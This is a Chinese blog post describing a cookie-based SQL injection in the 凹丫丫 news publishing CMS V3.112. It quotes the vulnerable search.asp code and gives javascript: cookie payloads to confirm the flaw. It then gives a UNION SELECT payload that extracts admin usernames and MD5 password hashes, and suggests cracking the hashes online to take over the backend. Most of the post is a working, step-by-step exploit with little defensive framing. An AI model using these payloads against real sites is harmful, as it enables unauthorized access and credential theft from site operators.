凹丫丫网站管理系统cookie注射 » 荒野无灯weblog

Keep It Simple, Stupid.

荒野无灯weblog

凹丫丫网站管理系统cookie注射

话说这个BUG已经是很久以前的了,写此文只是MARK一下吧。各位看观见笑了。 :razz:
这里说的是“凹丫丫新闻发布系统V3.112绿色简洁版”。
根目录下 search.asp 文件:


     < % 
key=request("key")
otype=request("otype")
if key="" then
   response.write "" 
Response.end

这样,用post或者cookie注入都是可行的。用cookie注入更方便喽。
我们就选择 title 来注入吧,看它代码中的SQL:

select * from news where title like '% key %' order by id desc

我们构造一个特殊的查询值,并用js改写cookie:
我们先来试探一下我们的猜想是不是正确的:

//从首页可以看出有文章标题包含  111 的,我们就用 111 来试下能不能搜索到这篇文章
javascript:alert(document.cookie="key=111");
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现文章被成功搜索到了
javascript:alert(document.cookie="key="+escape("111%25' or title like '%25111"));
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现文章同样被成功搜索到了
javascript:alert(document.cookie="key="+escape("111%25' and title like '%xxoo"));
//然后访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title  ,发现页面提示文章未找到

好了,已经证实注入漏洞的存在了,开始行动,先判断出 news 表的字段长度,这里就不说了,判断出来是 14 。
开始union 注入:

javascript:alert(document.cookie="key="+escape("111%25' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like '%25super"));

再访问: http://111.xxx.xxx.xxx:81/search.asp?otype=title ,发现什么啦?
用户名和密码的md5 值出来了,然后拿去MD5 破解的网上一跑,如果幸运的话,OK, 后台权限就拿到了。

再说一下那个注入语句,这里用的是union 查询,联合查询只要求查询的表与前面查询的表的字段数目相同,并不要求数据类型也相同。查询之后,它会将查询结果合并,因此这里我们不想看到前面的查询结果,就加了条 and 1=2 ,很明显,这不会返回任何东西的,而这正是我们需要的。我们要的只是后面那条查询的结果,而且让它在原来显示正常结果的相应地方显示。仔细看下,就会发现,程序中原来的SQL经过精心构造的“关键字”(111%’ and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like ‘% super),已经变成了:

select * from news where title like '% 111%' and 1=2 union select admin,password,3,4,5,6,7,8,9,10,11,12,13,14 from admin where 1=1 and aleave like '% super %' order by id desc

Tagged in :

All Comments (0)
Gravatar image
No Comments